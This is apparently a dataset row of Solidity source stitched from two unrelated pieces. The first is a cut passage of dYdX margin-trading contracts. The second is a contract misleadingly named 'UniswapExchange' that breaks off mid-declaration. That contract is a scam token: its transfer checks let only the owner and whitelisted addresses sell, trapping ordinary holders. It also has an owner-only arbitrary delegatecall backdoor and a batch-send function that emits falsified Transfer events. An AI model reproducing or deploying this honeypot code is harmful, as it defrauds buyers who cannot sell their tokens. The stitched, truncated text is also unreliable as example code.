}),
msg.sender
);
}
function validate(
MarginState.State storage state,
Tx memory openTx
)
private
view
{
require(
!MarginCommon.positionHasExisted(state, openTx.positionId),
"openWithoutCounterpartyImpl#validate: positionId already exists"
);
require(
openTx.principal > 0,
"openWithoutCounterpartyImpl#validate: principal cannot be 0"
);
require(
openTx.owedToken != address(0),
"openWithoutCounterpartyImpl#validate: owedToken cannot be 0"
);
require(
openTx.owedToken != openTx.heldToken,
"openWithoutCounterpartyImpl#validate: owedToken cannot be equal to heldToken"
);
require(
openTx.positionOwner != address(0),
"openWithoutCounterpartyImpl#validate: positionOwner cannot be 0"
);
require(
openTx.loanOwner != address(0),
"openWithoutCounterpartyImpl#validate: loanOwner cannot be 0"
);
require(
openTx.maxDuration > 0,
"openWithoutCounterpartyImpl#validate: maxDuration cannot be 0"
);
require(
openTx.interestPeriod <= openTx.maxDuration,
"openWithoutCounterpartyImpl#validate: interestPeriod must be <= maxDuration"
);
}
function recordPositionOpened(
Tx memory openTx
)
private
{
emit PositionOpened(
openTx.positionId,
msg.sender,
msg.sender,
bytes32(0),
openTx.owedToken,
openTx.heldToken,
address(0),
openTx.principal,
0,
openTx.deposit,
openTx.interestRate,
openTx.callTimeLimit,
openTx.maxDuration,
true
);
}
function parseTx(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
private
view
returns (Tx memory)
{
Tx memory openTx = Tx({
positionId: MarginCommon.getPositionIdFromNonce(values256[2]),
positionOwner: addresses[0],
owedToken: addresses[1],
heldToken: addresses[2],
loanOwner: addresses[3],
principal: values256[0],
deposit: values256[1],
callTimeLimit: values32[0],
maxDuration: values32[1],
interestRate: values32[2],
interestPeriod: values32[3]
});
return openTx;
}
}
contract PositionGetters is MarginStorage {
using SafeMath for uint256;
function containsPosition(
bytes32 positionId
)
external
view
returns (bool)
{
return MarginCommon.containsPositionImpl(state, positionId);
}
function isPositionCalled(
bytes32 positionId
)
external
view
returns (bool)
{
return (state.positions[positionId].callTimestamp > 0);
}
function isPositionClosed(
bytes32 positionId
)
external
view
returns (bool)
{
return state.closedPositions[positionId];
}
function getTotalOwedTokenRepaidToLender(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.totalOwedTokenRepaidToLender[positionId];
}
function getPositionBalance(
bytes32 positionId
)
external
view
returns (uint256)
{
return MarginCommon.getPositionBalanceImpl(state, positionId);
}
function getTimeUntilInterestIncrease(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
uint256 effectiveTimeElapsed = MarginCommon.calculateEffectiveTimeElapsed(
position,
block.timestamp
);
uint256 absoluteTimeElapsed = block.timestamp.sub(position.startTimestamp);
if (absoluteTimeElapsed > effectiveTimeElapsed) {
return 0;
} else {
return effectiveTimeElapsed.add(1).sub(absoluteTimeElapsed);
}
}
function getPositionOwedAmount(
bytes32 positionId
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
return MarginCommon.calculateOwedAmount(
position,
position.principal,
block.timestamp
);
}
function getPositionOwedAmountAtTime(
bytes32 positionId,
uint256 principalToClose,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getPositionOwedAmountAtTime: Requested time before position started"
);
return MarginCommon.calculateOwedAmount(
position,
principalToClose,
timestamp
);
}
function getLenderAmountForIncreasePositionAtTime(
bytes32 positionId,
uint256 principalToAdd,
uint32 timestamp
)
external
view
returns (uint256)
{
MarginCommon.Position storage position =
MarginCommon.getPositionFromStorage(state, positionId);
require(
timestamp >= position.startTimestamp,
"PositionGetters#getLenderAmountForIncreasePositionAtTime: timestamp < position start"
);
return MarginCommon.calculateLenderAmountForIncreasePosition(
position,
principalToAdd,
timestamp
);
}
function getPosition(
bytes32 positionId
)
external
view
returns (
address[4],
uint256[2],
uint32[6]
)
{
MarginCommon.Position storage position = state.positions[positionId];
return (
[
position.owedToken,
position.heldToken,
position.lender,
position.owner
],
[
position.principal,
position.requiredDeposit
],
[
position.callTimeLimit,
position.startTimestamp,
position.callTimestamp,
position.maxDuration,
position.interestRate,
position.interestPeriod
]
);
}
function getPositionLender(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].lender;
}
function getPositionOwner(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owner;
}
function getPositionHeldToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].heldToken;
}
function getPositionOwedToken(
bytes32 positionId
)
external
view
returns (address)
{
return state.positions[positionId].owedToken;
}
function getPositionPrincipal(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].principal;
}
function getPositionInterestRate(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].interestRate;
}
function getPositionRequiredDeposit(
bytes32 positionId
)
external
view
returns (uint256)
{
return state.positions[positionId].requiredDeposit;
}
function getPositionStartTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].startTimestamp;
}
function getPositionCallTimestamp(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimestamp;
}
function getPositionCallTimeLimit(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].callTimeLimit;
}
function getPositionMaxDuration(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].maxDuration;
}
function getPositioninterestPeriod(
bytes32 positionId
)
external
view
returns (uint32)
{
return state.positions[positionId].interestPeriod;
}
}
library TransferImpl {
function transferLoanImpl(
MarginState.State storage state,
bytes32 positionId,
address newLender
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferLoanImpl: Position does not exist"
);
address originalLender = state.positions[positionId].lender;
require(
msg.sender == originalLender,
"TransferImpl#transferLoanImpl: Only lender can transfer ownership"
);
require(
newLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot transfer ownership to self"
);
address finalLender = TransferInternal.grantLoanOwnership(
positionId,
originalLender,
newLender);
require(
finalLender != originalLender,
"TransferImpl#transferLoanImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].lender = finalLender;
}
function transferPositionImpl(
MarginState.State storage state,
bytes32 positionId,
address newOwner
)
public
{
require(
MarginCommon.containsPositionImpl(state, positionId),
"TransferImpl#transferPositionImpl: Position does not exist"
);
address originalOwner = state.positions[positionId].owner;
require(
msg.sender == originalOwner,
"TransferImpl#transferPositionImpl: Only position owner can transfer ownership"
);
require(
newOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot transfer ownership to self"
);
address finalOwner = TransferInternal.grantPositionOwnership(
positionId,
originalOwner,
newOwner);
require(
finalOwner != originalOwner,
"TransferImpl#transferPositionImpl: Cannot ultimately transfer ownership to self"
);
state.positions[positionId].owner = finalOwner;
}
}
contract Margin is
ReentrancyGuard,
MarginStorage,
MarginEvents,
MarginAdmin,
LoanGetters,
PositionGetters
{
using SafeMath for uint256;
constructor(
address vault,
address proxy
)
public
MarginAdmin()
{
state = MarginState.State({
VAULT: vault,
TOKEN_PROXY: proxy
});
}
function openPosition(
address[11] addresses,
uint256[10] values256,
uint32[4] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenPositionImpl.openPositionImpl(
state,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function openWithoutCounterparty(
address[4] addresses,
uint256[3] values256,
uint32[4] values32
)
external
onlyWhileOperational
nonReentrant
returns (bytes32)
{
return OpenWithoutCounterpartyImpl.openWithoutCounterpartyImpl(
state,
addresses,
values256,
values32
);
}
function increasePosition(
bytes32 positionId,
address[7] addresses,
uint256[8] values256,
uint32[2] values32,
bool depositInHeldToken,
bytes signature,
bytes order
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increasePositionImpl(
state,
positionId,
addresses,
values256,
values32,
depositInHeldToken,
signature,
order
);
}
function increaseWithoutCounterparty(
bytes32 positionId,
uint256 principalToAdd
)
external
onlyWhileOperational
nonReentrant
returns (uint256)
{
return IncreasePositionImpl.increaseWithoutCounterpartyImpl(
state,
positionId,
principalToAdd
);
}
function closePosition(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient,
address exchangeWrapper,
bool payoutInHeldToken,
bytes order
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
exchangeWrapper,
payoutInHeldToken,
order
);
}
function closePositionDirectly(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionDirectlyStateControl
nonReentrant
returns (uint256, uint256, uint256)
{
return ClosePositionImpl.closePositionImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient,
address(0),
true,
new bytes(0)
);
}
function closeWithoutCounterparty(
bytes32 positionId,
uint256 requestedCloseAmount,
address payoutRecipient
)
external
closePositionStateControl
nonReentrant
returns (uint256, uint256)
{
return CloseWithoutCounterpartyImpl.closeWithoutCounterpartyImpl(
state,
positionId,
requestedCloseAmount,
payoutRecipient
);
}
function marginCall(
bytes32 positionId,
uint256 requiredDeposit
)
external
nonReentrant
{
LoanImpl.marginCallImpl(
state,
positionId,
requiredDeposit
);
}
function cancelMarginCall(
bytes32 positionId
)
external
onlyWhileOperational
nonReentrant
{
LoanImpl.cancelMarginCallImpl(state, positionId);
}
function forceRecoverCollateral(
bytes32 positionId,
address recipient
)
external
nonReentrant
returns (uint256)
{
return ForceRecoverCollateralImpl.forceRecoverCollateralImpl(
state,
positionId,
recipient
);
}
function depositCollateral(
bytes32 positionId,
uint256 depositAmount
)
external
onlyWhileOperational
nonReentrant
{
DepositCollateralImpl.depositCollateralImpl(
state,
positionId,
depositAmount
);
}
function cancelLoanOffering(
address[9] addresses,
uint256[7] values256,
uint32[4] values32,
uint256 cancelAmount
)
external
cancelLoanOfferingStateControl
nonReentrant
returns (uint256)
{
return LoanImpl.cancelLoanOfferingImpl(
state,
addresses,
values256,
values32,
cancelAmount
);
}
function transferLoan(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferLoanImpl(
state,
positionId,
who);
}
function transferPosition(
bytes32 positionId,
address who
)
external
nonReentrant
{
TransferImpl.transferPositionImpl(
state,
positionId,
who);
}
function getVaultAddress()
external
view
returns (address)
{
return state.VAULT;
}
function getTokenProxyAddress()
external
view
returns (address)
{
return state.TOKEN_PROXY;
}
}
contract OnlyMargin {
address public DYDX_MARGIN;
constructor(
address margin
)
public
{
DYDX_MARGIN = margin;
}
modifier onlyMargin()
{
require(
msg.sender == DYDX_MARGIN,
"OnlyMargin#onlyMargin: Only Margin can call"
);
_;
}
}
interface PositionCustodian {
function getPositionDeedHolder(
bytes32 positionId
)
external
view
returns (address);
}
library MarginHelper {
function getPosition(
address DYDX_MARGIN,
bytes32 positionId
)
internal
view
returns (MarginCommon.Position memory)
{
(
address[4] memory addresses,
uint256[2] memory values256,
uint32[6] memory values32
) = Margin(DYDX_MARGIN).getPosition(positionId);
return MarginCommon.Position({
owedToken: addresses[0],
heldToken: addresses[1],
lender: addresses[2],
owner: addresses[3],
principal: values256[0],
requiredDeposit: values256[1],
callTimeLimit: values32[0],
startTimestamp: values32[1],
callTimestamp: values32[2],
maxDuration: values32[3],
interestRate: values32[4],
interestPeriod: values32[5]
});
}
}
contract ERC20Position is
ReentrancyGuard,
StandardToken,
OnlyMargin,
PositionOwner,
IncreasePositionDelegator,
ClosePositionDelegator,
PositionCustodian
{
using SafeMath for uint256;
enum State {
UNINITIALIZED,
OPEN,
CLOSED
}
event Initialized(
bytes32 positionId,
uint256 initialSupply
);
event ClosedByTrustedParty(
address closer,
uint256 tokenAmount,
address payoutRecipient
);
event CompletelyClosed();
event Withdraw(
address indexed redeemer,
uint256 tokensRedeemed,
uint256 heldTokenPayout
);
event Close(
address indexed redeemer,
uint256 closeAmount
);
address public INITIAL_TOKEN_HOLDER;
bytes32 public POSITION_ID;
mapping (address => bool) public TRUSTED_RECIPIENTS;
mapping (address => bool) public TRUSTED_WITHDRAWERS;
State public state;
address public heldToken;
bool public closedUsingTrustedRecipient;
modifier onlyPosition(bytes32 positionId) {
require(
POSITION_ID == positionId,
"ERC20Position#onlyPosition: Incorrect position"
);
_;
}
modifier onlyState(State specificState) {
require(
state == specificState,
"ERC20Position#onlyState: Incorrect State"
);
_;
}
constructor(
bytes32 positionId,
address margin,
address initialTokenHolder,
address[] trustedRecipients,
address[] trustedWithdrawers
)
public
OnlyMargin(margin)
{
POSITION_ID = positionId;
state = State.UNINITIALIZED;
INITIAL_TOKEN_HOLDER = initialTokenHolder;
closedUsingTrustedRecipient = false;
uint256 i;
for (i = 0; i < trustedRecipients.length; i++) {
TRUSTED_RECIPIENTS[trustedRecipients[i]] = true;
}
for (i = 0; i < trustedWithdrawers.length; i++) {
TRUSTED_WITHDRAWERS[trustedWithdrawers[i]] = true;
}
}
function receivePositionOwnership(
address ,
bytes32 positionId
)
external
onlyMargin
nonReentrant
onlyState(State.UNINITIALIZED)
onlyPosition(positionId)
returns (address)
{
MarginCommon.Position memory position = MarginHelper.getPosition(DYDX_MARGIN, POSITION_ID);
assert(position.principal > 0);
state = State.OPEN;
uint256 tokenAmount = getTokenAmountOnAdd(position.principal);
totalSupply_ = tokenAmount;
balances[INITIAL_TOKEN_HOLDER] = tokenAmount;
heldToken = position.heldToken;
emit Initialized(POSITION_ID, tokenAmount);
emit Transfer(address(0), INITIAL_TOKEN_HOLDER, tokenAmount);
return address(this);
}
function increasePositionOnBehalfOf(
address trader,
bytes32 positionId,
uint256 principalAdded
)
external
onlyMargin
nonReentrant
onlyState(State.OPEN)
onlyPosition(positionId)
returns (address)
{
require(
!Margin(DYDX_MARGIN).isPositionCalled(POSITION_ID),
"ERC20Position#increasePositionOnBehalfOf: Position is margin-called"
);
require(
!closedUsingTrustedRecipient,
"ERC20Position#increasePositionOnBehalfOf: Position closed using trusted recipient"
);
uint256 tokenAmount = getTokenAmountOnAdd(principalAdded);
balances[trader] = balances[trader].add(tokenAmount);
totalSupply_ = totalSupply_.add(tokenAmount);
emit Transfer(address(0), trader, tokenAmount);
return address(this);
}
function closeOnBehalfOf(
address closer,
address payoutRecipient,
bytes32 positionId,
uint256 requestedAmount
)
external
onlyMargin
nonReentrant
onlyState(State.OPEN)
onlyPosition(positionId)
returns (address, uint256)
{
uint256 positionPrincipal = Margin(DYDX_MARGIN).getPositionPrincipal(positionId);
assert(requestedAmount <= positionPrincipal);
uint256 allowedAmount;
if (TRUSTED_RECIPIENTS[payoutRecipient]) {
allowedAmount = closeUsingTrustedRecipient(
closer,
payoutRecipient,
requestedAmount
);
} else {
allowedAmount = close(
closer,
requestedAmount,
positionPrincipal
);
}
assert(allowedAmount > 0);
assert(allowedAmount <= requestedAmount);
if (allowedAmount == positionPrincipal) {
state = State.CLOSED;
emit CompletelyClosed();
}
return (address(this), allowedAmount);
}
function withdraw(
address onBehalfOf
)
external
nonReentrant
returns (uint256)
{
setStateClosedIfClosed();
require(
state == State.CLOSED,
"ERC20Position#withdraw: Position has not yet been closed"
);
if (msg.sender != onBehalfOf) {
require(
TRUSTED_WITHDRAWERS[msg.sender],
"ERC20Position#withdraw: Only trusted withdrawers can withdraw on behalf of others"
);
}
return withdrawImpl(msg.sender, onBehalfOf);
}
function decimals()
external
view
returns (uint8);
function symbol()
external
view
returns (string);
function getPositionDeedHolder(
bytes32 positionId
)
external
view
onlyPosition(positionId)
returns (address)
{
return address(this);
}
function closeUsingTrustedRecipient(
address closer,
address payoutRecipient,
uint256 requestedAmount
)
internal
returns (uint256)
{
assert(requestedAmount > 0);
if (!closedUsingTrustedRecipient) {
closedUsingTrustedRecipient = true;
}
emit ClosedByTrustedParty(closer, requestedAmount, payoutRecipient);
return requestedAmount;
}
function withdrawImpl(
address receiver,
address onBehalfOf
)
private
returns (uint256)
{
uint256 value = balanceOf(onBehalfOf);
if (value == 0) {
return 0;
}
uint256 heldTokenBalance = TokenInteract.balanceOf(heldToken, address(this));
uint256 heldTokenPayout = MathHelpers.getPartialAmount(
value,
totalSupply_,
heldTokenBalance
);
delete balances[onBehalfOf];
totalSupply_ = totalSupply_.sub(value);
TokenInteract.transfer(heldToken, receiver, heldTokenPayout);
emit Withdraw(onBehalfOf, value, heldTokenPayout);
return heldTokenPayout;
}
function setStateClosedIfClosed(
)
private
{
if (state == State.OPEN && Margin(DYDX_MARGIN).isPositionClosed(POSITION_ID)) {
state = State.CLOSED;
emit CompletelyClosed();
}
}
function close(
address closer,
uint256 requestedAmount,
uint256 positionPrincipal
)
private
returns (uint256)
{
uint256 balance = balances[closer];
(
uint256 tokenAmount,
uint256 allowedCloseAmount
) = getCloseAmounts(
requestedAmount,
balance,
positionPrincipal
);
require(
tokenAmount > 0 && allowedCloseAmount > 0,
"ERC20Position#close: Cannot close 0 amount"
);
assert(tokenAmount <= balance);
assert(allowedCloseAmount <= requestedAmount);
balances[closer] = balance.sub(tokenAmount);
totalSupply_ = totalSupply_.sub(tokenAmount);
emit Close(closer, tokenAmount);
return allowedCloseAmount;
}
function getTokenAmountOnAdd(
uint256 principalAdded
)
internal
view
returns (uint256);
function getCloseAmounts(
uint256 requestedCloseAmount,
uint256 balance,
uint256 positionPrincipal
)
private
view
returns (
uint256 ,
uint256
);
}
contract ERC20CappedPosition is
ERC20Position,
Ownable
{
using SafeMath for uint256;
event TokenCapSet(
uint256 tokenCap
);
event TrustedCloserSet(
address closer,
bool allowed
);
mapping(address => bool) public TRUSTED_LATE_CLOSERS;
uint256 public tokenCap;
constructor(
address[] trustedLateClosers,
uint256 cap
)
public
Ownable()
{
for (uint256 i = 0; i < trustedLateClosers.length; i++) {
TRUSTED_LATE_CLOSERS[trustedLateClosers[i]] = true;
}
tokenCap = cap;
}
function setTokenCap(
uint256 newCap
)
external
onlyOwner
{
tokenCap = newCap;
emit TokenCapSet(newCap);
}
function setTrustedLateCloser(
address closer,
bool allowed
)
external
onlyOwner
{
TRUSTED_LATE_CLOSERS[closer] = allowed;
emit TrustedCloserSet(closer, allowed);
}
function closeUsingTrustedRecipient(
address closer,
address payoutRecipient,
uint256 requestedAmount
)
internal
returns (uint256)
{
MarginCommon.Position memory position = MarginHelper.getPosition(DYDX_MARGIN, POSITION_ID);
bool afterEnd =
block.timestamp > uint256(position.startTimestamp).add(position.maxDuration);
bool afterCall =
position.callTimestamp > 0 &&
block.timestamp > uint256(position.callTimestamp).add(position.callTimeLimit);
if (afterCall || afterEnd) {
require (
TRUSTED_LATE_CLOSERS[closer],
"ERC20CappedPosition#closeUsingTrustedRecipient: closer not in TRUSTED_LATE_CLOSERS"
);
}
return super.closeUsingTrustedRecipient(closer, payoutRecipient, requestedAmount);
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
library StringHelpers {
function strcat(
bytes stringA,
bytes stringB
)
internal
pure
returns (bytes)
{
uint256 lengthA = stringA.length;
uint256 lengthB = stringB.length;
bytes memory result = new bytes(lengthA + lengthB);
uint256 i = 0;
for (i = 0; i < lengthA; i++) {
result[i] = stringA[i];
}
for (i = 0; i < lengthB; i++) {
result[lengthA + i] = stringB[i];
}
return result;
}
function bytes32ToHex(
bytes32 input
)
internal
pure
returns (bytes)
{
uint256 number = uint256(input);
bytes memory numberAsString = new bytes(66);
numberAsString[0] = byte(48);
numberAsString[1] = byte(120);
for (uint256 n = 0; n < 32; n++) {
uint256 nthByte = number / uint256(uint256(2) ** uint256(248 - 8 * n));
uint8 hex1 = uint8(nthByte) / uint8(16);
uint8 hex2 = uint8(nthByte) % uint8(16);
hex1 += (hex1 > 9) ? 87 : 48;
hex2 += (hex2 > 9) ? 87 : 48;
numberAsString[2 * n + 2] = byte(hex1);
numberAsString[2 * n + 3] = byte(hex2);
}
return numberAsString;
}
}
contract ERC20Short is ERC20Position {
constructor(
bytes32 positionId,
address margin,
address initialTokenHolder,
address[] trustedRecipients,
address[] trustedWithdrawers
)
public
ERC20Position(
positionId,
margin,
initialTokenHolder,
trustedRecipients,
trustedWithdrawers
)
{}
function decimals()
external
view
returns (uint8)
{
address owedToken = Margin(DYDX_MARGIN).getPositionOwedToken(POSITION_ID);
return DetailedERC20(owedToken).decimals();
}
function symbol()
external
view
returns (string)
{
if (state == State.UNINITIALIZED) {
return "s[UNINITIALIZED]";
}
address owedToken = Margin(DYDX_MARGIN).getPositionOwedToken(POSITION_ID);
return string(
StringHelpers.strcat(
"s",
bytes(DetailedERC20(owedToken).symbol())
)
);
}
function name()
external
view
returns (string)
{
if (state == State.UNINITIALIZED) {
return "dYdX Short Token [UNINITIALIZED]";
}
return string(
StringHelpers.strcat(
"dYdX Short Token ",
StringHelpers.bytes32ToHex(POSITION_ID)
)
);
}
function getTokenAmountOnAdd(
uint256 principalAdded
)
internal
view
returns (uint256)
{
return principalAdded;
}
function getCloseAmounts(
uint256 requestedCloseAmount,
uint256 balance,
uint256 positionPrincipal
)
private
view
returns (
uint256 ,
uint256
)
{
assert(positionPrincipal <= totalSupply_);
uint256 amount = Math.min256(balance, requestedCloseAmount);
return (amount, amount);
}
}
contract ERC20CappedShort is
ERC20Short,
ERC20CappedPosition
{
using SafeMath for uint256;
constructor(
bytes32 positionId,
address margin,
address initialTokenHolder,
address[] trustedRecipients,
address[] trustedWithdrawers,
address[] trustedLateClosers,
uint256 cap
)
public
ERC20Short(
positionId,
margin,
initialTokenHolder,
trustedRecipients,
trustedWithdrawers
)
ERC20CappedPosition(
trustedLateClosers,
cap
)
{
}
function getTokenAmountOnAdd(
uint256 principalAdded
)
internal
view
returns (uint256)
{
uint256 tokenAmount = super.getTokenAmountOnAdd(principalAdded);
require(
totalSupply_.add(tokenAmount) <= tokenCap,
"ERC20CappedShort#getTokenAmountOnAdd: Adding tokenAmount would exceed cap"
);
return tokenAmount;
}
} | 0 | 688 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
